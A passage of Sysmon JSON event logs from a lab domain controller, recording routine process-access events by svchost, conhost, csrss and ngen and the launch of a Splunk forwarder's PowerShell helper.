C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8403,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.072\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4356-5F2D-0000-001096851100}\r\nTargetProcessId: 4212\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.072","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4356-5F2D-0000-001096851100}","TargetProcessId":"4212","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8404,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.104\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4356-5F2D-0000-00104B871100}\r\nTargetProcessId: 4700\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.104","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4356-5F2D-0000-00104B871100}","TargetProcessId":"4700","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8405,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4356-5F2D-0000-00104B871100}\r\nTargetProcessId: 4700\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4356-5F2D-0000-00104B871100}","TargetProcessId":"4700","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8406,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4356-5F2D-0000-00104B871100}\r\nTargetProcessId: 4700\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4356-5F2D-0000-00104B871100}","TargetProcessId":"4700","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8407,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.291\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4334-5F2D-0000-001048F01000}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.291","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4334-5F2D-0000-001048F01000}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8408,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.291\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4334-5F2D-0000-001048F01000}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.291","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4334-5F2D-0000-001048F01000}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8409,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.307\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4356-5F2D-0000-00102C8B1100}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.307","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4356-5F2D-0000-00102C8B1100}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8410,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:38.995\r\nProcessGuid: {90617006-4356-5F2D-0000-0010828F1100}\r\nProcessId: 3944\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:04:38.995","ProcessGuid":"{90617006-4356-5F2D-0000-0010828F1100}","Image":"C:\\Program 